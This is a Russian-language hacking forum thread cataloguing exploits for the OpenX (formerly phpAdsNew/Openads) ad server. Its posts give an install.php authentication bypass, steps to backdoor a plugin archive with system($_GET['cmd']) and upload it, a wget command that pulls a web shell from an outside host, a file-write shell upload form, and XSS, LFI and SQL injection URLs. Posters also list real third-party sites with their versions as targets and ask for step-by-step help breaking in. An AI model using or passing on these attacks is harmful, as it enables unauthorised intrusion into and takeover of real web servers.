Обновлено 21.04.2010 (Спасибо всем за активность) [ + ] Общая информация: Сайт: http://openx.org Текущая версия: OpenX 2.8.5 [ + ] Краткий экскурс в названия: phpAdsNew, Openads, OpenX - это название одного продукта, которое менялось в течении времени. phpAdsNew - название движка c версии 2.0 до 2.0.9 Openads - название движка c версии 2.0.10 до 2.4.3 OpenX - название движка c версии 2.4.4 до настоящего момента [ + ] Структура БД: >> ветка OpenX 2.6; OpenX 2.8 >> ветка OpenX 2.4 >> ветка OpenX 2.0 [ + ] Уязвимости для всей ветки OpenX 2.0 [phpAdsNew все версии, Openads до 2.0.11-pr1 включительно] >> Раскрытие пути условия: + display_errors = On сплоит: >> XSS условия: + register_globals = On сплоит: >> Выполнение php кода условия: + $phpAds_config['type_html_php'] = true; // default false + наличие html баннера + register_globals = On сплоит: [ + ] Уязвимости phpAdsNew 2.0 - 2.0.5 >> Local File Include http://securityreason.com/achievement_securityalert/21 сплоит: Примечание: возможно использовать ////[4096]//// как альтернатива null byte [ + ] Уязвимости phpAdsNew 2.0 - 2.0.4-pr2 >> Выполнение php кода (XML-RPC Library Remote Code Execution) http://www.securityfocus.com/bid/14088/info сплоит: [ + ] Уязвимости phpAdsNew 2.0 - 2.0.4-pr1 >> Раскрытие пути http://securityreason.com/achievement_securityalert/9 условия: + display_errors = On сплоит: >> XSS http://securityreason.com/achievement_securityalert/9 сплоит: [ + ] Уязвимости Openads 2.4.0 - 2.4.2 >> Выполнение php кода сплоит: [ + ] Уязвимости OpenX 2.6.0 - 2.6.3 OpenX 2.4.4 - 2.4.9 Openads 2.4.0 - 2.4.3 >> Local File Include http://milw0rm.org/exploits/7883 Условия: + magic_quotes_gpc = Off сплоит: Примечание: используется функция file_exists - для проверки, поэтому ////[4096]//// не подойдет как альтернатива null byte [ + ] Уязвимости OpenX 2.6.0 - 2.6.1 OpenX 2.4.4 - 2.4.8 Openads 2.4.0 - 2.4.3 >> SQL injection Есть сплоит на milw0rm - мало того что написан как blind sql injection, хотя там обычная инъекция с выводом X_X, так он ещё и корявый, писал какой-то калека. сплоит для OpenX 2.6.0 - 2.6.1: Примечание: вывод будет в заголовок страницы <title> ... </title> сплоит для OpenX 2.4.4 - 2.4.8 Openads 2.4.0 - 2.4.3: Примечание: вывод будет в заголовок страницы <title> ... </title> [ + ] Уязвимости OpenX 2.6.0 - 2.6.4 OpenX 2.4.4 - 2.4.10 Openads 2.4.0 - 2.4.3 >> Blind sql injection условия: + magic_quotes_gpc = Off Описаниe: http://resources.enablesecurity.com/advisories/openx-2.6.4-multiple.txt [ + ] Уязвимости OpenX 2.8.0 - 2.8.5 >> Раскрытие пути условия: + display_errors = On сплоит: [ + ] Уязвимости OpenX 2.8.0 >> Обход аутентификации пользователя сплоит: [ + ] Уязвимости OpenX 2.8.2 - 2.8.3 >> Раскрытие установочной информации сплоит: Уязвимости которых нет: PS Если найдете какие либо неточности, ошибки или будут вопросы по уязвимостям, пишите в личку.
Загрузка шелла Универсальный способ загрузки шелла. условия: + Доступность на запись файла config.inc.php Описание: >> Для ветки OpenX 2.0 1. >> Для ветки OpenX 2.4 1. >> Для ветки OpenX 2.6 1. >> Для ветки OpenX 2.8 1. 2. 3. 4.
OpenX 2.8.2, раскрытие пути: /www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/PearXmlRpcCustomClientExecutor.php /www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/ZendXmlRpcCustomClientExecutor.php /www/admin/plugins/oxMarket/library/OX/oxMarket/Common/ConnectionUtils.php /www/admin/plugins/oxMarket/library/OX/oxMarket/Common/Cache.php
Уязвимости OpenX 2.8.0 запрашиваем http:/site.com/openx/www/admin/install.php оказываемся в админке если есть права на запись в кофиг фаил заливаем шелл Уязвимости OpenX 2.8.2 В паблике реализации уязвимости пока не видел : запрашиваем: http:/site.com/openx/www/admin/install.php передаём постом параметры : btn_openads=1&btn_plugins=1 попадаем в админку заливаем шелл ) узязвимый код в install.php : PHP: .......................................... // No upgrade file? No installer! Unless the user is in the last step if (!file_exists(MAX_PATH.'/var/UPGRADE') && !isset($_POST['btn_openads'])) { header("Location: index.php"); exit; } ......................................... наличие btn_openads в посте пропускает нас дальше : PHP: else if (array_key_exists('btn_plugins', $_POST)) { require_once MAX_PATH.'/lib/JSON/JSON.php'; $aUrls = array(); наличие btn_plugins пропускает нас в админку ! Альтернативный спосов заливки shell Берем стандартный плагин для openx из папки etc/plugins/ скрипта установки. Добавляем в начало любого из файлов system($_GET['cmd']) для примера : Открываем openX3rdPartyServers.zip и в /plugins/3rdPartyServers/ox3rdPartyServers/ файлу архива добавляем к adtech.class.php system($_GET['cmd']) сохраняем имеем универсальный шелл для версий выше 2.6 Для заливки шелла заходим в админку жмякаем кнопку плагинс в 2,8 версии (В 2,6 тыкаем конфиг->плагинс )в открышемся вкладке такаем кнопку обзор выбераем где у нас хранится наш изменённый openX3rdPartyServers.zip жмякаем на кнопку import code нажимаем кнопку конфиг и наш шелл подгружается ))) или по прямому адресу http:/site.com/openx/plugins/3rdPartyServers/ox3rdPartyServers/adtech.class.php )))))) ещём другую папку доступную для записи к примеру www/images/ (всегда доступна на запись ) и заливаем полноценный шелл к примеру (если есть wget) "cd ../images/ && wget -O shell.php http://shell.com/shell.txt") по адресу *www/images/shell.php имеем полноценный шелл
OpenX 2.8.0 OpenX 2.8.2 OpenX 2.8.3 Пока раскрытие установчной директории скрипта и некоторые настройки сервера: Code: http://url.com/openx/www/admin/install.php И постом параметры: btn_openads=1&btn_syscheck=1 Рабочий пример: igromania.ru http://bs.igromania.ru/www/admin/install.php
(Dm), спасибо огромное за обзор и остальным также. Но есть вопрос - добыл из базы хеш и логин, хеш брученый был уже, поэтому ввел логин и пасс в админку - но мне пишет, что нужно включить куки для авторизации. Куки, естественно, включены. Из-за чего такое может быть?
2попугай а openx вообше выдает баннеры на страницу ? Я тут вот по какому вопросу зашел ))) http://securityreason.com/wlb_show/WLB-2010010098 кто нить что нибудь понимает ? лично я нет, где там иньекция ,сижу втупляю не могу не хрена понять и вообше какое это отношение к самому движку имеет то ? ((
В каком смысле "на страницу"? Хочешь посмотреть существующие банеры? В админке можно это сделать(точно не могу сказать где именно, ибо не помню и openx щас нет). А насчет инъекции - может у тебя версия другая?
openx.pmgnews.com/www/admin/index.php - 2.8.1 arkansas-catholic.org/adserver/www/admin/index.php - 2.8.1 ikeafans.com/openx/www/admin/index.php - 2.8.2 mondofacto.com/openx/www/admin/index.php - 2.8.2 ultimatecampresource.com/openads/www/admin/index.php - 2.8.3 a.soft32.com/www/admin/index.php - 2.8.3 почему не работает install.php этой ссылки?
почему не работает? http://a.soft32.com/www/admin/install.php Code: /var/vhost/openx/var OK /var/vhost/openx/var/cache OK http://mondofacto.com/openx/www/admin/install.php Code: /data/www/openx/var OK /data/www/openx/var/cache OK /data/www/openx/var/plugins OK /data/www/openx/var/templates_compiled OK и так далее.... ты видимо не внимательно читал ... написано же , что обратится надо к скрипту install.php c POST параметрами btn_openads=1&btn_syscheck=1
OpenX 2.6.4 LFI Need: Права админа /openx/www/admin/stats.php?entity=../../../../../../shell&breakdown=Обязательно пустое. // shell, у меня там просто в папке с OpenX лежит файл shell.php, там <?PHP phpinfo(); ?> Код выполнился. Если breakdown не вписать, то будет инклюдиться нечто вроде: openx/lib/OA/Admin/Statistics/Delivery/Controller/../../../../../../shellAdvertiser.php PHP: // Prepare the stats controller, and populate with the stats $oStatsController = &OA_Admin_Statistics_Factory::getController($entity . "-" . $breakdown, $aParams); if (PEAR::isError($oStatsController)) { phpAds_Die('Error occured', $oStatsController->getMessage()); } $oStatsController->start(); Ну вроде тот код, т.к. искал по началу в слепую. Пассивная XSS: openx/www/admin/stats.php?entity=campaign&breakdown=history&clientid=1&campaignid=1'%22%3E%3Cscript%3Ealert();%3C/script%3E
нет новой уязвимости в системе OpenX? Меня интересует больше 2.8.1 и 2.8.2. Я не понимаю, как загрузить оболочку, используя btn_openads = 1 и btn_syscheck = 1. Я здесь еще сайты .. adserv.eightyfourmedia.com/www/admin/index.php - 2.8.2 openx.rsv05-jugend.de/www/admin/index.php - 2.8.2 ads.apj.dk/www/admin/index.php- 2.8.1 www.mobilescandinavia.dk/openads/www/admin/index.php - 2.8.5 banner.danske-it-eksperter.dk/www/admin/index.php - 2.8.4 openx.findpriser.dk/admin/index.php - 2.8.1 ads.gld.dk/www/admin/index.php - 2.8.5 ads2.dk-kogebogen.dk/www/admin/index.php - 2.8.5 jjokker Вы можете написать здесь шаг за шагом? спасибо
Уязвимости openX openX 2.8.6 Path disclosure http://localhost/openx-2.8.6/www/admin/plugins/openXWorkflow/application/bootstrap.php Path disclosure display_errors = On Code: http://localhost/openx-2.8.6/www/admin/plugins/videoReport/stats-debug.php http://localhost/openx-2.8.6/www/admin/plugins/videoReport/stats-api.php http://localhost/openx-2.8.6/www/admin/plugins/videoReport/stats-export-csv.php http://localhost/openx-2.8.6/www/admin/plugins/videoReport/navigation/oxVastMenuChecker.php http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_area_base.php http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_area_hollow.php http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_area_line.php http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_bar_filled.php http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_line_dot.php http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_line_hollow.php http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_sugar.php http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_y_axis.php http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_y_axis_right.php http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/SmartyFunctions/function.url.php http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/SmartyFunctions/modifier.formatNumber.php http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/Graph/Flash/AreaGraph.php http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/Graph/Flash/BaseGraph.php http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/Graph/Flash/LineGraph.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/oxMarket.class.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketActiveChecker.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketAdminStatsChecker.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketEntityChecker.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketMultipleAccountsModeChecker.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketStandaloneModeChecker.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/Common/Cache.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/Common/ConnectionUtils.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/Dal/Advertiser.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/Dal/Campaign.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/PearXmlRpcCustomClientExecutor.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/ZendXmlRpcCustomClientExecutor.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/CampaignForm.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/CampaignsSettings.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/EntityFormManager.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/EntityHelper.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/EntityScreenManager.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/rule/FloorPriceCompare.php http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/rule/QuickFormFloorPriceCompareRuleAdaptor.php ... раскрытий много. Path disclosure display_errors = On Code: http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php барыжная XSS Code: http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=%3Cimg%20alt=%22%ED%E0%E6%EC%E8%22%20onmouseover=%22javascript:alert%28123%29%22%20%3E ofc_upload_image.php PHP: /*...*/ // full path to the saved image including filename // $destination = $default_path . basename( $_GET[ 'name' ] ); echo 'Saving your image to: '. $destination; /*...*/ Записываем шелл ofc_upload_image.php rg on PHP: /*...*/ // default path for the image to be stored // $default_path = '../tmp-upload-images/'; if (!file_exists($default_path)) mkdir($default_path, 0777, true); // full path to the saved image including filename // $destination = $default_path . basename( $_GET[ 'name' ] ); echo 'Saving your image to: '. $destination; // print_r( $_POST ); // print_r( $_SERVER ); // echo $HTTP_RAW_POST_DATA; // // POST data is usually string data, but we are passing a RAW .png // so PHP is a bit confused and $_POST is empty. But it has saved // the raw bits into $HTTP_RAW_POST_DATA // $jfh = fopen($destination, 'w') or die("can't open file"); fwrite($jfh, $HTTP_RAW_POST_DATA); fclose($jfh); // // LOOK: // exit(); /*...*/ Если б небыло дальше exit(), то можно было лить шелл бес зависимости. HTML: <form action='http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=wso.php' method=post enctype=multipart/form-data> <textarea rows="10" cols="45" name="HTTP_RAW_POST_DATA"></textarea> <input type=submit value=Загрузить></form> будет текст: Шелл будет тут: Code: http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/tmp-upload-images/wso.php localhost/openx-2.8.6 змаенить на [host]/[path] скоро буду дальше смотреть(времени мало) ... Решил почитать о $HTTP_RAW_POST_DATA Оказуетцо, если register_globals off, то все же писать данные в файл возможно. Только данные урл-кодируютцо, если не урл-кодированные, то мы имеем шелл. Как послать данные не урл-кодированные думаю все вы знаете. В $HTTP_RAW_POST_DATA заганяютцо пост-даные напрямую. в php.ini должно быть файл 1.php: Code: <form method="post"> <input name="data" type="text" value="12345"> <input type="submit" value="Send"> </form> <?php echo $HTTP_RAW_POST_DATA; ?> обращаемся: Code: http://localhost/1.php результат: data=12345 експлоит: Code: <form action='http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=222.php' method=post> <input name="Name" type="text" value="[используем не кодированные данные!]"> <input type="submit" value="Send"> </form> Наш шелл в даном случае тут: Code: http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=222.php заменяем localhost/openx-2.8.6 на [host]/[path] Хе-хе, самое интересное, когда пихать с атрибутом enctype, то нет никакого результата. Code: <form method="post" enctype=multipart/form-data> <input name="data" type="text" value="12345"> <input type="submit" value="Send"> </form> <?php echo $HTTP_RAW_POST_DATA; ?> зы PHP Version 5.2.14, нужная директива была закоментирована
Для OpenX 2.8.1 эксп находится по адресу install-plugin.php?status=1&plugin=openXMarket Почему на конкретном примере по адресу http://www.freegolfschool.com/oa/www/admin/install-plugin.php?status=1&plugin=openXMarket он не работает? Для версии OpenX 2.8.4 эксп для видео плагина расположен в ofc_upload_image.php. Я нашел похаканый сайт http://www.knockknockrecords.com/openx/www/admin/plugins/videoReport/lib/tmp-upload-images/, где x.php и cloud.php уже кемто загружены. Я пробую заюзать http://www.knockknockrecords.com/openx/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=1.php&HTTP_RAW_POST_DATA= , но 1.php пуст. Почему?
pXSS /plugins/deliveryLimitations/Client/lib/phpSniff/index.php PHP: /*...*/ require_once('phpSniff.class.php'); require_once('phpTimer.class.php'); /*...*/ $sniffer_settings = array('check_cookies'=>$GET_VARS['cc'], 'default_language'=>$GET_VARS['dl'], 'allow_masquerading'=>$GET_VARS['am']); $client =& new phpSniff($GET_VARS['UA'],$sniffer_settings); /*...*/ <tr> <td bgcolor="<?php print $c1_bg; ?>">ua</td> <td width="100%" bgcolor="<?php print $c2_bg; ?>"><?php print $client->get_property('ua');?></td> </tr> /*...*/ /plugins/deliveryLimitations/Client/lib/phpSniff/phpSniff.class.php PHP: /*...*/ function phpSniff($UA='',$settings = true) { /*..*/ if(empty($UA)) return false; $this->_set_browser('ua',$UA); if($run) $this->init(); /*...*/ function property ($p=null) { if($p==null) { return $this->_browser_info; } else { return $this->_browser_info[strtolower($p)]; } } /*...*/ function _set_browser ($k,$v) { $this->_browser_info[strtolower($k)] = strtolower($v); } /*...*/ function get_property ($p) { return $this->property($p); } /*...*/ Code: PoC http://[host]/[path]/plugins/deliveryLimitations/Client/lib/phpSniff/index.php?UA=%3Cscript%3Ealert%28123%29%3C/script%3E Проверил на OpenX 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.8.6, 2.8.7. Path disclosure условия -> никаких на данный момент на последней ветке 2.8.7 что нашел --> работает Code: PoC http://[host]/[path]/www/admin/plugins/openXWorkflow/application/bootstrap.php
gabarea, 1. http://openx-2.8.1/www/admin/install-plugin.php?status=1&plugin=openXMarket Там path disclosure не смотря код. Надо посмотреть код. 2. Потому что для експулатации нет условий. В даном случае: Code: [COLOR=Green]register_globals[/COLOR] Off [COLOR=Green]always_populate_raw_post_data[/COLOR] Off. Ну если возможно переопределить $HTTP_RAW_POST_DATA как то бес етих директив, то я буду не прав.
(Dm) ты забыл сказать что в phpAdsNew должна быть включена опция: Опции HTML-баннеров =>Разрешить выполнение PHP-выражений из HTML-баннера тогда код будет выполнятся, если опция неактивна, то в html-сырцах страницы мы увидим php-код к сожалению я не так много видел сайтов, где эта опция активирована. а обычно на сайтах запирают файл config.inc.php и шел уже таким способом не залить
Openads v2.3.35-beta слепая скуля http://target.com/ads/www/delivery/ac.php?bannerid=24 and 1=1 не знаю может и баян, но в ветке нету